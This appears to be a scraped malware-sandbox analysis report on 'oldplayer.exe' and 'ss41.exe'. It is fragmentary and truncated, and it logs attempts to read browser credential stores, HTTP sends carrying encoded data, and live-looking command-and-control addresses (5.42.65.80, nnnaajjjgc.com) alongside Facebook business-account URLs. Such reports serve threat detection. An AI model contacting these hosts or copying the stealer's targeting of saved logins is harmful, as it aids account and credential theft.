"C:\bcrypt.dll" ".exe" trying to access non-existent file "C:\PROPSYS.DLL" ".exe" trying to access non-existent file "C:\PROPSYS.dll" ".exe" trying to access non-existent file "C:\EDPUTIL.DLL" ".exe" trying to access non-existent file "C:\edputil.dll" ".exe" trying to access non-existent file "C:\URLMON.DLL" ".exe" trying to access non-existent file "C:\urlmon.dll" ".exe" trying to access non-existent file "C:\IERTUTIL.DLL" ".exe" trying to access non-existent file "C:\iertutil.dll" "oldplayer.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "oldplayer.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\WININET.DLL" "oldplayer.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\FLTLIB.DLL" "oldplayer.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "oldplayer.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "oldplayer.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\DUI70.DLL" "oldplayer.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\DUI70.dll"42:T7c1,".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\oldplayer.exe:ZONE.IDENTIFIER" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\oldplayer.exe:Zone.Identifier" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\ss41.exe:ZONE.IDENTIFIER" ".exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\ss41.exe:Zone.Identifier" "oldplayer.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\207AA4515D" "oldplayer.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\207aa4515d" "oldplayer.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\OLDPLAYER.EXE.LOCAL" "oldplayer.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\oldplayer.exe.Local\" "oldplayer.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\207aa4515d\oneetx.exe:ZONE.IDENTIFIER" "oldplayer.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\207aa4515d\oneetx.exe:Zone.Identifier" "ss41.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\SS41.EXE.LOCAL" "ss41.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\LOCAL STATE" "ss41.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\D9E0D364197915C50023AB0820646DA3-JOURNAL" "ss41.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\D9E0D364197915C50023AB0820646DA3-WAL" "ss41.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\LOGIN DATA111-JOURNAL" "ss41.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\LOGIN DATA111-WAL"43:T775,"ss41.exe" called "WinHttpSendRequest" with parameters {"hRequest": "29897f0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "ss41.exe" called "WinHttpSendRequest" with parameters {"hRequest": "29897f0" "dwHeadersLength": "0" "lpOptional": "VXpZVFExT0RSak56VTNOREJsWWpraUxDQWlkV2xrSWpvZ0lqSXlOREVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlPVEF4TWpNNVltTmxaREk1WXpCbU1HaUo5" "dwOptionalLength": "160" "dwTotalLength": "160" "dwContext": "0"} "ss41.exe" called "WinHttpSendRequest" with parameters {"hRequest": "4cff380" "dwHeadersLength": "0" "lpOptional": "VXpZVFExT0RSak56VTNOREJsWWpraUxDQWlkV2xrSWpvZ0lqSXlOREVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlPVEF4TWpNNVltTmxaREk1WXpCbU1HaUo5" "dwOptionalLength": "160" "dwTotalLength": "160" "dwContext": "0"} "ss41.exe" called "WinHttpSendRequest" with parameters {"hRequest": "4d02250" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "ss41.exe" called "WinHttpSendRequest" with parameters {"hRequest": "4d02250" "dwHeadersLength": "0" "lpOptional": "VXpZVFExT0RSak56VTNOREJsWWpraUxDQWlkV2xrSWpvZ0lqSXlOREVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlPVEF4TWpNNVltTmxaREk1WXpCbU1HaUo5" "dwOptionalLength": "160" "dwTotalLength": "160" "dwContext": "0"} "ss41.exe" called "WinHttpSendRequest" with parameters {"hRequest": "29fc640" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "ss41.exe" called "WinHttpSendRequest" with parameters {"hRequest": "29fc640" "dwHeadersLength": "0" "lpOptional": "VXpZVFExT0RSak56VTNOREJsWWpraUxDQWlkV2xrSWpvZ0lqSXlOREVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlPVEF4TWpNNVltTmxaREk1WXpCbU1HaUo5" "dwOptionalLength": "160" "dwTotalLength": "160" "dwContext": "0"}44:Td08,Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "82680707174,2984,3204,,InternetReadFile,Wininet.dll,"00:18:36.453",RX=0,PX=0" (Indicator: "InternetReadFile"; Source: "00000000-00000932.00000001.71457.0315E000.00000004.mdmp") Found reference to API "122074977390,2984,3204,,InternetReadFile,Wininet.dll,"00:18:52.859",RX=0,PX=0" (Indicator: "InternetReadFile"; Source: "00000000-00000932.00000002.73376.0315E000.00000004.mdmp") Found reference to API "154459254094,2984,3204,,InternetReadFile,Wininet.dll,"00:19:06.359",RX=0,PX=0" (Indicator: "InternetReadFile"; Source: "00000000-00000932.00000002.73376.0316C000.00000004.mdmp")45:T47e,Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp")46:T588,Heuristic match: "%K&.aX" Pattern match: "www.clarity.msCLIDv10" Heuristic match: "app.nnnaajjjgc.com" Heuristic match: "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Host: app.nnnaajjjgc.com" Heuristic match: "z.nnnaajjjgc.com" Pattern match: "http://www.w3.org/2001/XMLSchema-instance" Pattern match: "http://5.42.65.80/8bmeVwqx/index.php" Heuristic match: "ystem.ActivityHistory.Id" Heuristic match: "ystem.AppUserModel.ID" Heuristic match: "ystem.IdentityProvider.Name" Heuristic match: "ystem.Protocol.Name" Heuristic match: "ystem.SAM.Name" Heuristic match: "ystem.StructuredQuery.Is" Heuristic match: "ystem.StructuredQuery.Virtual.Cc" Heuristic match: "ystem.StructuredQuery.Virtual.To" Heuristic match: "System.ActivityHistory.Id" Heuristic match: "System.IdentityProvider.Name" Heuristic match: "System.SAM.Name" Heuristic match: "System.StructuredQuery.Virtual.Cc" Heuristic match: "System.StructuredQuery.Virtual.To" Heuristic match: "System.StructuredQuery.Is" Heuristic match: "System.Protocol.Name" Heuristic match: "System.AppUserModel.ID" Heuristic match: "System.StructuredQueryType.Implicit.Is" Pattern match: "http://schemas.microsoft.com/SMI/2005/WindowsSettings" Pattern match: "z.nnnaajjjgc.com/sts/imagd.jpg" Heuristic match: ".nnnaajjjgc.com"47:T5332,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000932.00000000.69539.03130000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000932.00000001.71457.03130000.00000004.mdmp") Found URL "http://5.42.65.80/8bmevwqx/index.phponecoreuapcommonproxystub.dllwindows.staterepositoryps.dllcalrpcsors=2ive=c:\tsvcsdrivedows_nt=c:\proata\oraava\jav;c:\winsystem3windowsindows\m32\wbecalrpcem32\wipowershtsvcs86)\wirk;c:\pr" - Source: "00000000-00000932.00000001.71457.0315E000.00000004.mdmp") Found URL "http://5.42.65.80/8bmevwqx/index.phprpc-69d4d85545e71aabb9rpc-f3140447a75bdd3482rpc-f3140447a75bdd3482rpc-69d4d85545e71aabb9rpc-69d4d85545e71aabb9rpc-69d4d85545e71aabb9rpc-69d4d85545e71aabb9rpc-69d4d85545e71aabb9rpc-f3140447a75bdd3482rpc-69d4d85545e71aabb9rpc-69d4d85545e71aabb9rpc-69d4d85545e71aabb9rpc-69d4d85545e71aabb9\system32\wshqos.dll\system32\mswsock.dll\system32\wshqos.dll\system32\mswsock.dlldows\system32\wshqos.dll\system32\wshqos.dll\system32\wshqos.dll\system32\wshqos.dll\system32\wshqos.dll\system32\wshqos.dll:\windows\system32\jsproxy.dll\system32\wshqos.dll\system32\wshqos.dll\system32\wshqos.dll\system32\wshqos.dlldows\system32\wshqos.dll\system32\wshqos.dll\system32\wshqos.dll\system32\ws2_32.dll\system32\wshqos.dll\system32\wshqos.dll\system32\mswsock.dll\system32\wshqos.dll\system32\mswsock.dllttp://5.42.65.80/8bmevwqx/index.phpttp://5.42.65.80/8bmevwqx/index.phpttp://5.42.65.80/8bmevwqx/index.phpttp://5.42.65.80/8bmevwqx/index.phpttp://5.42.65.80/8bmevwqx/index.phpttp://5.42.65.80/8bmevwqx/index.phpttp://5.42.65.80/8bmevwqx/index.phpttp://5.42.65.80/8bmevwqx/index.phpttp://5.42.65.80/8bmevwqx/index.phpttp://5.42.65.80/8bmevwqx/index.phpttp://5.42.65.80/8bmevwqx/index.phpttp://5.42.65.80/8bmevwqx/index.phpttp://5.42.65.80/8bmevwqx/index.phpem32\wshqos.dllem32\wshqos.dllem32\mswsock.dllem32\mswsock.dllem32\wshqos.dllem32\wshqos.dllem32\wshqos.dllecurity=impersonation" - Source: "00000000-00000932.00000001.71457.0315E000.00000004.mdmp") Found URL "http://5.42.65.80/8bmevwqx/index.phpmultipart/mixedmultipart/x-mixed-replacemultipart/x-byterangeslmem" - Source: "00000000-00000932.00000001.71457.0315E000.00000004.mdmp") Found URL "http://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phpasyc(qqqqqqqqqqqqqqqqhttp/1.1" - Source: "00000000-00000932.00000001.71457.0315E000.00000004.mdmp") Found URL "http://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phpasychttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phpasycasychttp://5.42.65.80/8bmevwqx/index.phpasychttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phphttp://5.42.65.80/8bmevwqx/index.phpasyc@b:4rxj4rxjqqqqqqqqqqqqqqqqgacenqv[_" - Source: "00000000-00006112.00000001.71189.04700000.00000004.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00006112.00000001.71189.04700000.00000004.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00006112.00000001.71189.04700000.00000004.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00006112.00000001.71189.04700000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00006112.00000001.71189.04700000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00006112.00000001.71189.04700000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0ta[17iusai:" - Source: "00000000-00006112.00000001.71189.04C30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006112.00000001.71189.04C30000.00000004.mdmp") Found URL "http://www.microsoft.com0h" - Source: "00000000-00006112.00000001.71189.04C30000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006112.00000001.71189.04C30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006112.00000001.71189.04C30000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006112.00000001.71189.04C30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006112.00000001.71189.04C30000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006112.00000001.71189.04C30000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/app.nnnaajjjgc.com:\windows\system32\jsproxy.dllcheck/safehttp://app.nnnaajjjgc.com/check/safe&wan" - Source: "00000000-00006112.00000001.71189.04CE9000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe1403994truetion_upload_status,possible_usernamvisa.coesomeyurompt_js_datr.com14599141126falseromptandcliegraphinushengage.comtrueromptromptd(y" - Source: "00000000-00006112.00000001.71189.04CE9000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safebrowser_name_enum13322933149556057network_time_mappingnetwork_primary_browserlast_computed_timeast_access_utc763130ffd7da379adf2e4441fb4792a219a7d1648ccb19e99766e7bc25c1aa4632b88ff3af2796be5ccada96c86f763130dafdd2d905a6d4a26bc2c2736fc855829bb321759ed11ede7a83405f1da0f9a601545dcc682cfe86cc2c9e6a7631303becc5d5c6c97ec63adb81afae6be2799bed263e1c10eeab8a8b937352f011f7026943a4325dadd1dd4a10763130600fac58377ff7733cc6e65cab213fa1fff30648a17c26befc667dc291b2657cdc18c97082f556b91b2bc12b6dc2e77631303becc5d5c6c97ec63adb81afae6be2799bed263e1c10eeab8a8b937352f011f7026943a4325dadd1dd4a10c2e7amesite_valuek.com763130559f693611e8d924e2467b1ca3e11dd192ff0498444057e2157b0219dd869dc301cdd333cba17ac06a0e8c0361b3e8rioritytentk.come65cabrioritytent.comc2e7ource_scheme.come86a44ource_port.comk.comaluek.com.comamesite_value.comalue.com763130600fac58377ff7733cc6e65cab213fa1fff30648a17c26befc667dc291b2657cdc18c97082f556b91b2bc12b6dc2e7763130dafdd2d905a6d4a26bc2c2736fc855829bb321759ed11ede7a83405f1da0f9a601545dcc682cfe86cc2c9e6aoginue)" - Source: "00000000-00006112.00000001.71189.04CE9000.00000004.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00006112.00000001.71189.04E30000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00006112.00000001.71189.04E30000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00006112.00000001.71189.04E30000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00006112.00000001.71189.04E30000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00006112.00000001.71189.04E30000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00006112.00000001.71189.04E30000.00000040.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00006112.00000001.71189.04FB0000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00006112.00000001.71189.04FB0000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00006112.00000001.71189.04FB0000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00006112.00000001.71189.04FB0000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00006112.00000001.71189.04FB0000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00006112.00000001.71189.04FB0000.00000040.mdmp") Found URL "https://z.nnnaajjjgc.com/sts/imagd.jpgavauwvshhc@acenqv[_" - Source: "00000000-00006112.00000002.73109.04700000.00000004.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00006112.00000002.73109.04700000.00000004.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00006112.00000002.73109.04700000.00000004.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00006112.00000002.73109.04700000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00006112.00000002.73109.04700000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00006112.00000002.73109.04700000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0ta[17iusai:" - Source: "00000000-00006112.00000002.73109.04C30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006112.00000002.73109.04C30000.00000004.mdmp") Found URL "http://www.microsoft.com0h" - Source: "00000000-00006112.00000002.73109.04C30000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00006112.00000002.73109.04C30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00006112.00000002.73109.04C30000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00006112.00000002.73109.04C30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00006112.00000002.73109.04C30000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00006112.00000002.73109.04C30000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=227348&key=40ee3509fcf6bf9efa828db7e31528ads.com" - Source: "00000000-00006112.00000002.73109.04C8C000.00000004.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00006112.00000002.73109.04E30000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00006112.00000002.73109.04E30000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00006112.00000002.73109.04E30000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00006112.00000002.73109.04E30000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00006112.00000002.73109.04E30000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00006112.00000002.73109.04E30000.00000040.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00006112.00000002.73109.04FB0000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00006112.00000002.73109.04FB0000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00006112.00000002.73109.04FB0000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00006112.00000002.73109.04FB0000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00006112.00000002.73109.04FB0000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00006112.00000002.73109.04FB0000.00000040.mdmp") Found URL "https://z.nnnaajjjgc.com/sts/imagd.jpgavauwvshhc@" (Indicator: "GetDC"; Source: "00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.03130000.00000004.mdmp, 00000000-00000932.00000002.73376.03130000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.03130000.00000004.mdmp, 00000000-00000932.00000002.73376.03130000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.03130000.00000004.mdmp, 00000000-00000932.00000002.73376.03130000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.03130000.00000004.mdmp, 00000000-00000932.00000002.73376.03130000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.03130000.00000004.mdmp, 00000000-00000932.00000002.73376.03130000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.03130000.00000004.mdmp, 00000000-00000932.00000002.73376.03130000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.03130000.00000004.mdmp, 00000000-00000932.00000002.73376.03130000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.03130000.00000004.mdmp, 00000000-00000932.00000002.73376.03130000.00000004.mdmp")4c:T966,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API "GetModuleHandleExW" 